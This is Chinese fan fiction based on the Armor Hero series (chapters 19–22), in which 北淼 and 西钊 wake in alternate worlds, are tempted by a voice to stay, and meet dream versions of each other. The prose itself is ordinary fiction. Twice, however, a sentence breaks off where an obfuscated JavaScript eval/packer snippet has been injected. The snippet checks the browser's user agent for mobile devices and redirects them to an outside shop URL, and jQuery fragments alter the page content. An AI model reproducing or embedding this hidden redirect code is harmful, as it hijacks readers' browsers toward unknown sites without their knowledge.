西钊若有所思地点点头。除了注意到这是北淼的房间之外,他还发现桌上有一本相册。几乎是下意识的动作,西钊将那本相册翻开。他看到:当初自己和冰儿并没有被界王抓走,不知道为什么,他和冰儿一起被原本应该收养北淼的一家人收养,和冰儿一起长大。他出国了一段时间,回国的原因…… “你是说,我是因为、你被异能兽袭击,才回国加入他们铠甲勇士队伍的吗?” “你睡傻了吧,哥。不然呢?” 不对、不对……哪里出现问题了。 看着相册最后一页,他们五个铠甲召唤人与美真小嵩的合影,西钊终于发现了不对劲——北淼不在里面,取而代之的是“二队”的黑犀铠甲召唤人。 西钊小心翼翼地将那张照片取出,抬眼看向冰儿:“北淼呢?北淼去哪儿了?” ———— 同一空间、同一时间; 在不同时空,同一个人的话在交错的宇宙中回响。 “你亲手把附身在他身上的恶金封印了,你忘了吗,小北哥?” “你亲手把附身在他身上的恶水封印了,你忘了吗,西钊哥?” TBC 20. 失乐园 “你亲手把附身在他身上的恶金封印了,你忘了吗,小北哥?” 听闻小雪的话,北淼第一反应是给自己一耳光。好痛。怎么看都不像是做梦。他不顾惊讶的小雪,来到洗手台前看向镜中的自己,确认这张脸是“北淼”没错,他也没有乱入到谁的梦里,内心深处与西钊的那种“链接”也消失不见。有那么几秒钟,北淼感觉自己喘不上气,双手压在洗手台两侧俯身缓了好一会儿,直到小雪忧虑的声音从门口传来。 “小北哥,你还好吗?” 北淼不知道该从何问起,他的脑海中没有一点关于这个“自己”的记忆。他用手接水、简单粗暴地洗了把脸:“发生了什么?我不太记得了。” 小雪贴心地为北淼递毛巾:“你从美真那里回来之后就在门口晕倒了,把你抱上床还真不容易……” “不。”北淼扶着门框侧身走出浴室,拿上车钥匙准备下楼,“我是说,‘封印恶金’的事情。到底发生了什么?” “我不太清楚……这还是你告诉我的。你特别讨厌那个雪獒铠甲的召唤人,听你说当时还因为这个和队伍里的人发生了很大的争执。” 我讨厌西钊?讨厌到亲手了结了他?一定是哪里出了问题。如果这不是梦、或者他暂时还无法醒来,那就不能贸然行动,先尽可能收集情报。北淼如此想着,随手抓了件夹克往身上套:“我去美真那里一趟,你在家等我。” ———— ERP实验室内,只有美真一个人。不过北淼也没有那个闲情雅致关心东杉在哪。他绕桌直接来到美真身边,在美真问出口之前抢先一步问道:“封印恶金那天,到底发生了什么?” “北淼?”美真觉得北淼的问题有些莫名其妙,“你怎么了?我们不是已经将黑暗护法他们完全封印了吗?” 北淼肉眼可见地烦躁,但面对身为女孩子的美真,他尽可能地压制住心里的那股火气:“这不是我要的答案。美真,小雪说我昏迷了两天,你就当我什么都不记得。告诉我。” 美真交握的双手缓慢揉搓,她犹豫不决地咬咬下唇,最终只剩一声轻叹:“我以为你不想再提起这件事,北淼。当时西钊作为雪獒铠甲加入我们的队伍还没有多久,但你从一开始就不信任他,也向我们分析你怀疑他的理由。坤中在这件事上一直和你意见不和。后来你告诉我们,你坐实了他就是那个叛徒。为了让我们亲眼见证这一切,你用计引西钊到工地,将他重伤。等坤中和东杉赶到的时候,只看到恶金附身在西钊身上,和你激烈打斗。 北淼顿感整个世界在他眼前天旋地转,他脚步不稳地后退一步,后腰撞到圆桌的边缘,作为他站立的唯一支点。他尚未完全理清状况,美真还在继续说着:“后来……后来,你拒绝坤中和东杉的帮助,独自与恶金战斗,最终将它封印。而作为附身体的西钊,因为一开始和你战斗本就受了重伤,加上恶金护法在战斗中的消耗,他……甚至没有撑到传送准备完成。”美真的视线挪到地面,停顿片刻,似乎自己也不愿再多说,“坤中因为这件事和你大打出手,连东杉也没办法介入。最后如果不是炘南出面,我们就要一次性失去三副铠甲了。” “所以、你们就找来了‘二队’的召唤人……”北淼掌心撑着额头,强迫自己接受来自这个世界的、残酷的“现实”。 美真像是听到了什么奇怪的话,忽然抬头疑惑地看向北淼:“泽西是你介绍的召唤人,北淼,因为你一直是大家的领队。你从西钊最初加入开始就打算让泽西替换他。你……真的没事吗?” 我?我还能有什么事?北淼忽然觉得有些可笑:“不是说,完全封印,需要五位铠甲勇士团结在一起吗?我手里有西钊的血,坤中就这么容易放下成见?” “北淼,坤中他不是小孩子,分得清对错。那时他也亲眼看到了西钊的背叛。尽管一开始是有些冲动,不过后来也是他主动跟你道的歉。这个,你也忘了?” 北淼对美真的描述不再感到丝毫意外。老实说,这个世界已经不会再有任何比这更荒谬的事情了。他不记得自己如何离开实验室,也不记得自己如何打开车门、坐回车里。 当时间慢慢沉淀北淼浮躁的情绪,他才终于空出心神,思考他的现状。 毫无疑问,这个世界有他想要的一切。在这里,小雪没有经历十年的苦难,他应该是拉住了妹妹的手,带她离开、带她健康快乐地长大;在这里,他是权威的领队,决策不会被轻易质疑、行动不会被优柔寡断干涉,整个铠甲队伍在他的带领下,虽然行事激进了些,效率事半功倍;在这里,他没有做错任何事,不仅找出并除掉了叛徒,还顺便封印了难缠的黑暗护法,大家没有因为他的鲁莽差点分崩离析,而是因为他变得更加团结。 如果、如果他不认识那个护了小雪十年的西钊,如果他不是那个见证并感受过西钊内心的北淼,这里无疑是他最美好的理想乡。 但在他原本的世界里,没有如果。 在那个世界中,他最重要的人因为他的失约生活在黑暗里,甚至被扭曲了心智;他一次又一次激进而自负的做法接二连三地让身边的人受到伤害,最终导致“二队”的出现。在那个世界里,他没当过一个合格的哥哥,不配做一个优秀的领袖,甚至不足以成为一个很好的朋友。 一边是直到最后才开始缝缝补补的“烂橘子”,一边是功成名就的好哥哥兼黑犀侠,他甚至不需要比较都知道哪一个才是他内心深处最强烈的渴望。但同时,他也明白,一切心愿都有“代价”—— “西钊……”北淼在车内轻声低语。 ——而你,愿意付出这个代价吗? 这个想法犹如星火点燃枯柴,以不可控的速度在北淼心中疯狂蔓延。 已经发生的事无法改变,就算回到原来的世界,也无法回到遥远的过去牵起那只手;已经造成的伤害无法挽回,再如何弥补也终是破镜难圆。但在这里,一切从一开始就步入正轨,所有幸福都如期降临,璀璨的人生中找不到一丝苦难的痕迹,留下的尽是对未来的无限畅想。 为什么不留在这里?在北淼心中忽然有一个声音说。他有什么理由不留在这里、心安理得地接受这一切?这个世界的西钊对他而言无足轻重,不过是影界的叛徒、流星枪下的亡魂…… 不、不。 北淼强行将自己从那恐怖的思绪中拽离。他不知道为什么自己会产生这样的想法,但他对此本能地感到恐惧和不安。或许是因为“那个声音”说的每一句话,他都无法反驳。 那么。 那个声音突然响起、再次问道。 你愿意、用他命中注定的悲剧,换来你本应美好的一生吗? ———— 西钊在进入快乐堡之前,从家中的生活碎片和冰儿的三言两语中将这个世界的“自己”拼凑了个大概。 冰儿是认识北淼的。当初北淼确实丢下了她,西钊也勇敢地挺身而出,拉起冰儿、不,应该叫小雪,拉起她就跑,最终被一个消防队队长救走。一段时间后,他们被张家人收养,小雪也认西钊是她心目中真正的哥哥。后来,他们一起在D市上学,令西钊没想到的是,这个世界的他从初中开始就认识坤中,不仅是球友,甚至是校友,一直到高中毕业,西钊到国外念大学。 听小雪说,她最开始被西钊救下时,手里就已经拿着光影石了。那块金影石一直跟着西钊长大,被他带在身边。通过“自己”的笔记,西钊推测,关于光影铠甲的一切应该都是他在国外时查阅大量资料得知的。直到听说小雪被异能兽袭击、他赶回国内,西钊一次也没有召唤过雪獒铠甲。看来,他加入美真的队伍,很大可能只是为了小雪的安全考虑。毕竟,虽然他本性向善,但似乎不管是哪个世界的他,都觉得“拯救世界”是个过于沉重的负担。 西钊一边想着,一边推开快乐堡的门。令他惊讶的是,印象中大部分时间冷冷清清的汉堡店,此时竟然坐满了人。他认识的伙伴们、美真、小嵩,甚至还有“二队”的泽西和北凯。这是什么情况? “看看这是谁来了!”美真站在吧台后,一边把三明治和可乐递给小嵩,一边笑着提高声音,引起其他人的注意。 坤中最先从吧台高凳座位上蹦下来,来到西钊面前:“听小雪说,你刚跟我们聚完,回家就不省人事,整整昏迷了两天!我们可都担心死了!” “是啊,把我们吓坏了。”背对门口坐着的东杉转身看向西钊,调侃道,“我们还担心,北凯带我们去的那家馆子有什么问题呢。” “喂,这可不能怪我。”北凯抱起手臂靠着墙,表达被莫名扣锅的不满。 小嵩一口三明治接一口可乐,跟着接话:“那可是连美食鉴赏家炘南都称赞的菜馆,要是被西钊这个大胃王吃出毛病,我们以后可就没口福了。” 忽然被点名的炘南含蓄地笑了笑:“饺子馆随时为你们开放,蕙姨还有很多拿手好菜,早就想招待你们了。” “天哪——那岂不是又要撑得走不动路!”东杉和坤中几乎是异口同声地哀怨。 一直没怎么说话的泽西离西钊最近,他伸手拍拍西钊的手臂,朝空座位歪歪头:“不坐会儿?大家是收到小雪的消息,知道你醒了,顺路就过来聚一聚。都等着你呢。” 西钊一惊,从这热闹的氛围中回神,这才发觉自己刚刚一直在站着发愣,因为这熟悉又陌生一幕让他有些恍惚。所有话题都始于他、围绕着他、也终结于他的感觉,让他觉得很不真实。他本想应声坐下,却又回忆起小雪的话: “你亲手把附身在他身上的恶水封印了,你忘了吗,西钊哥?” 比起弄清为什么自己的存在感在大家眼中忽然变高,查清“北淼”在这世界的所有情报才是最重要的。 于是西钊熟练地对其他人露出温和的笑容,随意接了几句,便往实验室的方向走。他边走边回头,看向擦拭玻璃杯的美真:“……美真,可以来一下吗?” 美真也没有多想,放下杯子便和西钊一同来到了ERP指挥室内。两个人围坐在中间的桌子前,美真还给西钊倒了杯咖啡。 西钊向来不擅长说话拐弯抹角,但他不确定自己的说辞会不会让美真陷入混乱。他在美真问出“怎么了”之后斟酌了好一会儿措辞,才犹豫开口:“美真,我……昏迷之后,记忆好像有些混乱。我想知道、关于北淼和恶水护法的事情,希望你能告诉我实情。” 美真愣了愣,似乎没有预料到西钊会问出这样的问题:“你……全都不记得了吗?” “嗯。”西钊耐心地引导和请求,“这对我来说很重要,拜托你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334648|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关于北淼的……所有事情?” “准确地说,是你知道的、我和北淼之间的事。” 美真双手握着温暖的咖啡杯,沉默良久,最终还是折服于西钊的真诚和温柔:“你啊,还真是长了一张哪个女孩子都拒绝不了的脸。” 西钊只是笑笑,没有说话,安静地等着美真开口。美真的神色也在叹息里变得严肃,望向前方陷入回忆: “北淼一开始是影界的人。听消防队队长的描述,当年界王在孤儿院劫走了一个抱着水影石的孩子,这个孩子应该就是北淼。他实力很强,每次都能打得我们措手不及。当时我们还没发现坤中就是地虎铠甲的召唤人,所以行动很吃力、也很被动。 “直到有一天,异能兽袭击了水影村后人小雪。北淼不知道为什么、异常执着于带走小雪,异能兽连续几次都针对她进行攻击。也就是这个时候,你主动找上了我们。说来也巧,你和坤中居然曾经是校友。 “不过比起和他对抗,你更倾向于劝导他加入我们的队伍。这一定程度上也影响了之后我们的行事风格。一开始,北淼被你说服,‘改邪归正’,但他始终不愿意把水影石交给卫星控制。在你的劝说下,我们也没有强求。但后来,北淼不仅在队里挑拨离间,让坤中和你发生争执,就连我也差点误会东杉。他甚至、还打伤炘南、擅自替换了炎龙铠甲的召唤人。 “我记得、那时候你很自责,把所有错都揽到自己身上。要不是我找来小雪,你可能已经退出了。用你之前的话来说,为了弥补自己的过错,你有重新让大家团结在一起的责任。后来,你不仅化解了和坤中之间的矛盾,还让东杉那个‘闷葫芦’顺利‘开窍’。这一点我还要好好感谢你呢。在那之后,也是你发现了影界利用北淼和张健的阴谋,和炘南一起打败了他们。炘南成功拿回召唤权,北淼也露出狐狸尾巴,暂时被击退回影界。” 美真停顿片刻,与西钊对视,示意自己即将说到最关键的部分。 “黑暗护法打乱了我们很多计划。向阳的身份以及帝皇铠甲的现世也让形势变得更加复杂。当时你提出,在这个关键时刻,还是需要黑犀铠甲的力量。尽管有反对的声音,你也还是坚持要和北淼见一面。但……这个过程并不顺利。由于受到了电磁干扰,我们听不到你们的谈话,只知道北淼接受了恶水的附身,开始和你激烈打斗。随着其他护法的加入,我们也赶去支援。在那一战中,恶火被炘南封印,其他护法相继撤离,而你……你封印了恶水。” “那……北淼呢?”冰儿都能从恶水附身下幸存,为什么这个世界的北淼会—— “北淼……”美真咬着下唇,像是不忍心说出口,“他在使用黑犀铠甲和你战斗的过程中受了伤。恶水被封印之后,他的身体没办法再撑下去了。” 西钊看着手中微凉的咖啡,沉默不语,脸上看不出什么表情。 “至少……我们成功回收了黑犀铠甲。博士安排二队的北凯加入我们。那时你也伤得不轻,所以你在医院的那段时间,是二队的泽西代替你出任务。” 经过美真漫长的讲述,西钊终于弄清在这世界中他和北淼各自扮演着怎样的角色。 这里拥有西钊曾经没有机会拥有的一切:爱他的父母和妹妹,有关心他、信任他的队友。他的人生一帆风顺,他温暖的灵魂得以在阳光下闪闪发亮。没有人排挤他、也没有人虐待他,所有人都见证了他曾小心翼翼藏在内心深处的善良。 太美好了。西钊手心的咖啡已经完全凉透,但那种冰冷却没有传达给他。对于他来说,这一切就像不知从何处吹出的巨大泡沫折射出的彩虹,终究是虚幻,只需要一点、一戳,就会全部消失殆尽。他不愿意相信这个“现实”、不敢去相信自己真的会拥有这些。难道是因为、觉得自己不值得吗?西钊无端地想。 为什么不值得? 忽地,一个声音出现在他脑海,毫无预兆。 西钊听到它说:为什么他不能留在这里心安理得地接受、享受这一切?他承受的苦难还不够痛吗?他经历的磨炼还不够多吗?握着“铠甲勇士”的身份久了,什么时候已经忘记自己也可以成为一个普通人?他的过去已经千疮百孔,为什么不能拥有美好未来?他在原来的世界,为北淼、为冰儿、为所有人做了那么多,是时候花一些时间考虑考虑自己了不是吗? 你值得这一切。 你值得这世界的所有美好。 那声音在西钊的脑海中平静地回荡,好似天使的低语,又仿佛一只看不见的手,温柔地抚平他身上的每一道伤疤。 它说:既然他觉得,原本的世界已经不会有人再需要他,他已经完成了所有的道别,那么,哪怕是梦也好,留在这里去做他不曾有机会做的任何事,有何不可?这个世界的北淼不是他的伙伴、不是他的朋友。无论是为了小雪最后的留念、还是为了身为铠甲召唤人最后的执着,他都已经尽力了。北淼没有回头,那他为什么还要去追呢? 西钊下意识地拉下袖子,手臂上空无一物。没有印记、没有疤痕。美真见他发呆,叫了他几声,他也没有回应。 ——所以。 塞壬的歌声回响在海浪之间。 你愿意吗?你愿意、用他无可挽回的悲剧,换取你理应幸福的人生吗? TBC 21. 苍白欲念 北淼睁开眼睛,发现自己穿着一身私服,站在熟悉的废弃工地内。 他熟练地给了自己一巴掌。痛,但这种痛感很微妙,似乎并不直接来自于躯体本身。于是北淼明白,他又在做梦了。这副身体的潜意识告诉他,这里是“北淼”约见“西钊”的地方,也是“他们”这段敌对关系的终点。北淼习惯性地检查口袋,果不其然,他带着黑犀铠甲召唤器。结合美真的话来看,现在应该是事情还没发展到最后一步的时间点。 那么,西钊会出现在他梦里吗?是他认识的那个西钊,还是这个世界的“西钊”?为什么他好不容易和西钊建立起来的心灵感应就这么轻而易举地消失了?他到底为什么会出现在这里?西钊呢?他也和自己一样来到莫名其妙的“理想乡”了吗? 如果是的话,他……他会想留下吗? 就在北淼一边观察工地四周的环境一边思考这些乱七八糟的问题时,熟悉的声音出现在他身后,却是截然不同的、令他陌生的语气。 “北淼,你到底想怎样?” 西钊背着一个小斜挎包,双手插着口袋,一如既往穿着黑色的高领夹克,拉到最高的衣领几乎要遮住他的口鼻。那并不是北淼认识的西钊。“他”眼中没有西钊那样的柔和,虽不锐利,也没有强烈的敌意,但冰冷如余烬,看不出一丝温度。挎包透出淡淡的白色微光,不难猜到里面装着的是金影石。 面对沉默的北淼,“西钊”自顾自地继续说:“当初如果不是看在坤中的份上,我根本不会选择加入你们,由始至终、只有他相信我能够做一个‘阳光之下的正常人’。但你们却仅仅因为我不肯交出金影石,一次次地试图证明:我是叛徒、总有一天我会回到影界。好,现在你做到了,连坤中也开始怀疑我的一举一动。你还想从我这里得到什么?逼我亲自在他们眼前、接受黑暗护法的附身,是吗?” 北淼沉默地低着头,抬手蹭蹭鼻尖,做了个深呼吸。他从口袋中拿出召唤器,握在手里举起双手,先向对面的“西钊”示意自己没有要打架的意思,再保持举手的姿势,把它缓缓放到地上。做完这一切之后,他还没放下手,转而看向被北淼这一套操作下来整迷惑的“西钊”,尽可能用平缓的语气、甚至带了点无辜和调侃的味道:“我知道,这话没什么可信度,但:我不是你认识的北淼,你也不是我认识的西钊。” “……什么意思?” “呃。” 北淼发现这件事很难解释。他不知道“西钊”有没有意识到自己也是梦境的一部分,甚至可能只是“北淼”记忆的切片被扭曲重塑的结果。或许“他”不会意识到这一点。北淼想。如果会的话,那就和机器人突破三大原则觉醒一样恐怖了。所以北淼只好用对方能理解的方式说明情况:“这话应该我来说才对吧,我才是那个被莫名其妙传送到这个世界、被塞进这个身体里的人。” ——其实这话说得也没错。 “西钊”狐疑地打量着面前的这个北淼,就好像在和自己印象中的人一条条对号入座。北淼依旧举着双手,没有激他。直到北淼感觉到“西钊”放松了一些警惕,紧绷的气氛稍有好转之后,他才一边叹息一边放下手,捡起地上的召唤器收好:“反正、我不会跟你动手。你……想谈谈吗?” 表情可以用“受宠若惊”来形容的“西钊”转移目光,微微点头。 ———— 没有汉堡店的卡座、也没有咖啡厅的餐椅,他们就这么并排坐在工地长长的台阶上。“西钊”和北淼隔得很远,七八米宽的台阶,他们几乎要坐到楼梯的两端。 “另一个世界的我、是什么样子?”刚坐下不久,“西钊”就淡漠地抛出了第一个问题。 北淼双手交握,盯着地板,脑海浮现出那张他熟知的、总是在温柔傻笑的脸,忽然忍俊不禁:“是个傻子。” 他的余光看到“西钊”皱着眉投来一个更为迷惑的表情。他没理会,继续说道:“那个家伙……单纯、天真,很会耍小聪明。明明瘦得和干柴似的,一顿吃的肉比熊都多。打起架来倒是一板一眼的,就是人太老实,没什么心眼,今天被人忽悠、明天就被人欺负。脑子还笨,天天想着别人,没给自己留过位置。反正……很麻烦。” 尽管“西钊”脸上的困惑不减分毫,但眼中的冰冷消退了不少。或许在他看来,自己认识的“北淼”是不可能坐在他身边,为他描述这样一个“诡异形象”的。于是他又问:“所以、在你那里,‘我’是一个笨蛋好人。” “不。他一开始和现在的你差不多。”北淼压下笑容,几乎要把地板盯穿,“他曾经……也是影界的人、也曾经试图加入我们。但我……我是那个忽悠和欺负他的混蛋。”北淼听到隔壁传来一声冷笑,他停顿片刻,缓缓闭上眼睛,“我不清楚你经历过什么,但他是因为救我的妹妹,才和她一起被影界抓走。我很幸运,哪怕做错了很多事,小雪她……最终还是原谅了我。而他……老实说,我不知道。” “是吗……”风卷起“西钊”的喃喃自语,吹到北淼耳边。他抬起头,注视着远处灰蒙蒙的天空,半眯起眼:“那个‘我’很幸运,有人陪着他。很遗憾,这么多年来,我一直都是一个人。只知道用训练和任务回报养育之恩,只懂得把人分成‘有用’和‘无用’;没有‘朋友’和‘家人’,也不明白它们存在的意义。” 北淼想安慰什么,但咬咬牙又给咽了回去。 “我其实、从来没在意过界王在想什么。这些年我更像是一台机器,机械地执行命令,直到……我开始喜欢上这个充满阳光的世界。” 北淼转头时,看到“西钊”一边说着,一边抬手遮住上方的阳光,让光线从指缝中穿过,映在他灰暗的眸中。 “你知道吗、这个世界的你,曾经对我说:有些虫子,它们从小就生活在黑暗的洞穴中。如果有一天,让它们来到阳光之下,它们就会被‘高温’烫伤、最终死亡。对所有人来说再温暖不过的太阳,对它们而言却是致命的。所以‘你’说:我该回到我应该在的地方,这个世界……不属于我。” “我……”北淼不觉得“西钊”说的一切在博取他的同情,也不觉得这是另一种形式的嘲讽,“西钊”听上去过于平静,以至于让人有种无端的绝望感。这个世界的“北淼”,用绝对的“正义”抹去了他触碰阳光的所有希望和念想。北淼不知为何代入进了曾经的自己,语气弱下来,低声道,“……对不起。” “为什么要道歉?”那个几乎孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334649|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独了一辈子的人没有放下手,依旧眷恋一般看着天空,似乎不太懂北淼道歉的意义何在,“你不是他。还是说、你想通过我,给那个‘我’道歉?” 北淼自嘲一笑,抬手扶了扶额头:“……是因为我才害了他。他那个过得和你差不多的十年,我没法弥补。” “他死了?”扯出一个冷笑,“西钊”忽然问了一句。 “……?”北淼莫名其妙地看着“西钊”,摇了摇头,“不,他没有。” “那就还能弥补。”冷淡的语气变得柔和了许多,恍惚间,北淼还以为是他的那个西钊在对他说话,“老实说,今天这场会面,如果来的不是你,而是‘他’,我不知道、会发生什么。但我想……” “带着金影石走吧,不要和他见面了。去哪里都好。”北淼打断“西钊”的话,美真向他描述的场景不断在脑中闪回重现,让他焦躁不安。他知道会发生什么。他知道。哪怕是梦,他也想做出改变:“他不会放过你的。你会死在这里。” 意料之外地,“西钊”释然地笑出声,让北淼不禁睁大了眼望向他,搞不懂他在想什么。然而,“西钊”第一次在北淼面前露出了真心的、属于北淼记忆中那个西钊的笑容。 他说:“如果这是他想要的,那就如他所愿吧。” “为什么?!”北淼突然从台阶上站起来,往“西钊”的方向走过去,难以置信地朝他摊开双手,“你脑子坏了吗?知道会死还要往枪口上撞?既然他要你走,你凭什么不能一走了之?他哪来的资格再把你逼到绝路?我看他就是——” “北淼。” 那个人只是低着头,轻轻地唤了一声,对面的炸弹立马就变成了哑炮。 “你还不明白吗?‘他’的确让我看清了自己:这世界没有我的容身之所。可我……真的很喜欢这个世界。所以、我更希望……被他们用‘正当’的理由,‘光明正大’地杀死在阳光下。” 也没管这些话让北淼整个人一僵,“西钊”接着说:“可你不同、你和另一个‘我’。既然他还活着、既然你还愿意说‘对不起’,一切都……还来得及。” “西钊……” “我只是‘虫子’,不像他,还有触碰阳光的机会。”他抬起头,朝北淼狡黠笑了笑,话锋一转,“所以,他是什么?” “什么什么?”北淼一下子没反应过来“西钊”的问题。 于是,“西钊”托着下巴,耐心解释:“用一种动物形容那个‘我’的话,会是什么?” “狗。”北淼几乎是下意识地说道。 “那就把那个流浪的‘我’带回家吧。不要再放他走了。” 不知为何,“西钊”的身影与语调渐渐地和北淼记忆中原本的西钊重合,最后,那双原本昏暗无光的眸中慢慢亮起了北淼再熟悉不过的光。 他忽然听见曾经那个诱惑他“留在这个世界”的声音说: “可是万一、‘狗’已经找到新家了呢?” ———— “!” 北淼在车里惊醒,汗水浸湿了他的衣领。他双手握着方向盘,整个脑袋无力地垂下去抵着手背。寂静无声的夜里,只剩他紊乱不定的呼吸。 TBC 22. 漆黑闪蝶 西钊意识到自己在做梦,是“北淼”拎着小包穿过工地广场径直朝他走来的时候。原因很简单:他来到这个世界之前,“北淼”的死就已是板上钉钉的事实。 西钊站在原地没有动,脑中迅速回忆这是“西钊”的哪一段记忆推演成了梦境。下一秒,这副身体真正的主人给了他答案:为了召回黑犀铠甲的力量,“西钊”约见“北淼”,打算做最后的劝导。 说来也怪,就连和北淼之间都能产生莫名的“心灵感应”,西钊却不能和这个世界的自己产生共鸣。他完全不了解“西钊”对执迷不悟的“北淼”坚持要拯救到底的原因,难道是因为“他”在阳光下长大,所以无论对方有再大的恶意、再如何拒绝,都相信善意能解决一切问题吗? 可他西钊,用亲身经历证明,善良背后永远是苦难。 “喂。” 打断西钊思绪的,是大步流星走到他面前的“北淼”。他随意地松开手,小包就这么落到地上,映出深绿的微光——是水影石。这个爱耍酷的家伙,还是很爱他的黑色皮夹克,并且从来不拉上拉链,像是故意展示底下要撑破衬衫扣子的肌肉似的。西钊微微一笑,歪着脑袋无端地想。 “北淼”环抱双臂,对面前人摆出一副不屑一顾的模样:“你就是、小雪身边那个‘冒牌货’吧。怎么,挨过几次打还记不住教训?我觉得,我们之间没什么可说的。我要的是小雪,你们要的是光影石。既然是想要的东西、就得凭实力拿到。如果你还打算让我……去扶你们这帮‘烂泥’,那对不起,我看界王的异能兽都比他们顺眼。你们只会让我觉得恶心。” 西钊依旧保持着他的招牌笑容,短暂地沉默了一会儿。他在思考“西钊”此时会怎么说。他想,“西钊”一定是个比自己还要温柔的理想主义者,面对如此直白的侮辱,或许会小小委屈一下,但还是会不厌其烦地说些大道理。可惜,现在在这个身体里的人是他,不是“西钊”。西钊并不会在意这些。 因为,他也是生于阴影中的人啊。 “嗯,我知道。对不起,从你身边‘抢走’了小雪。”西钊没有被“北淼”的话冒犯分毫,转而真诚地向他道歉,语气里没有半分虚伪,把“北淼”也整得一愣。西钊笑了笑,担心擅自缩短距离会引起“北淼”的不满,因此只是站在原地,微微耸肩,“看来、界王还是老样子,知道用什么来控制手中的棋子。” “北淼”被西钊的形容搞得莫名其妙,也不知是听到对方说他是“棋子”,还是那句他想听却极其违和的“道歉”,他心里升起一股无名火,主动上前拽过西钊拉到最高的领子:“你最好把话给我说清楚。” 就好像两个闹别扭的玩伴相互打趣,西钊并未推开“北淼”,反而无厘头地问道:“界王给你训练的时候,电压一次会开到多少伏?” “北淼”的愤怒逐渐在西钊眼中转变为困惑。也正是此时,西钊忽然发现,他很难直视“北淼”的眼睛。身为水之铠甲的召唤人,无论在哪个世界,那双眼里总有燃不尽的烈焰,多看一秒钟,就能将他这块“金”软化一点。 他只好移开目光,像讲故事一样接上自己的话茬:“我的话、一般是36000伏。有几次比这更高,但我不记得具体数值,都是冰儿不高兴了,拿我开涮。最高的一次……是冰儿因为你、特别伤心,一下子把电压拉到了100000伏。天啊,那已经是机器可以释放的极限了。如果不是雪獒铠甲的保护,我根本不可能活下来。当我知道、这个世界里,是你在影界,而不是我,我想……你比我要强很多,或许、不会像我一样受那么多苦。” “北淼”直勾勾地盯着西钊,想要从他的神情、他的话语中找到一丝破绽——自己太擅长这个了,可是“北淼”找不到。在他的印象中,“西钊”软弱、天真、极度理想主义,没经历过任何苦难,活在幸福泡泡里,是个彻头彻尾的懦夫。然而,和面前这个不管自己怎么说表情都不带变的家伙不同,“他们”虽然有着同样的柔和,他却给“北淼”一种隐约的锋芒和锐利,有如真正的“金”,可柔可刚。 这个人、不是“西钊”,并且比“西钊”更危险。“北淼”如此得出最终结论,松开揪着西钊衣领的手。 “……比你高。” “嗯?”西钊的视线回到“北淼”身上时,才发现他已经被放开了。 “北淼”后撤一步,目光并没有看着西钊,抬手摸了摸后颈,听上去有些不耐烦:“我能扛到48000伏,不到黑犀自动合体我基本不会停。不过、你那100000,我怕是受不来。” 还好,听进去了。反应过来“北淼”在说什么的西钊暗暗松了口气。对北淼——所有的北淼——弯弯绕绕都是无用功,最直接的就是最好的,否则,倔犀牛又不知道会把本意曲解到哪里去。至少现在,面前的“北淼”似乎接受了“此西钊非彼西钊”的事实。 “看来……我们能坐下来好好聊聊了?”西钊试探性地问。 “你的目的?” “既然你和另一个‘我’没什么好说的,那、就和我聊聊吧。我不想在这里和你动手。如果你觉得冒犯,我可以用问题交换问题。不管怎样,你都不会吃亏。” “北淼”抬眼打量西钊一番,没有理他,背转过身拎起水影石往空地的方向去。西钊以为他不屑于这样的谈话,莫名地有些低落。但“北淼”走了几步又停下来,侧过他写满了“你好麻烦啊”的半边脸。 “喂,姓秦的。你是腿断了、还是要我过去邀请你啊?” “啊?啊、来了。”西钊缓回神,一刻也没犹豫,忙不迭小跑着跟了上去。 ———— 他们走到空地边缘,找到一根承重柱,靠着柱子坐在相邻的两边。 西钊还没想好要从哪里开启话题,“北淼”的脑袋已经向后抵着墙,慵懒地闭上眼,随口问道:“你刚刚说的‘冰儿’,是谁?” “是小雪。”西钊也抬起头,望着远方在太阳折射下显现的浮尘,没注意到“北淼”又睁开了眼,“在我的世界,‘你’离开之后,我试着帮她,但还是一起被界王抓走了。我告诉她,在影界,她就叫‘冰儿’。我希望、她在找到她的哥哥之前,永远保留哪怕一点点……对人类世界的情感。这样,在她找到哥哥之后,冰、就能化成雪。她又可以是那个‘小雪’了。” “后来呢。”身边人冷冷接了一句,甚至没有用疑问的语气。 陷入回忆的西钊勾唇轻笑,也不知是自嘲还是感慨:“后来……我们就遇到了‘你’,另一个世界的、被称为‘黑犀侠’的你。我不太清楚冰儿是什么时候认出‘你’的,但因为我既是影界的人、也是铠甲召唤人,所以、‘你’从来没有信任过我。说起来也真是伤心,对我就处处排挤,对冰儿……你们哪个不是放在手里怕摔了,含在嘴里怕化了。” “北淼”嗤笑一声,没说话。知道“北淼”懒得理他,西钊便笑着继续:“知道吗,另一个世界的‘你’,有一次骂影界的人是‘烂橘子’。其实是在骂我,结果被冰儿听到了。那次之后,冰儿不再信任你,即使是我也没劝回来。后来附身于她的恶水被封印,她才回到‘你’身边。直到我来到这个世界之前,她过得都很好。” 西钊用的字眼里没有一个“他”,因为西钊知道无论是哪一个北淼,小雪都是他的软肋。只有用这种“沉浸式”的描述,才能让这个一直执着于小雪的人平静下来,在心里得到些许安慰。西钊忽然想到什么,在片刻的停顿后补充了一句: “放心吧,她不怪‘你’。” 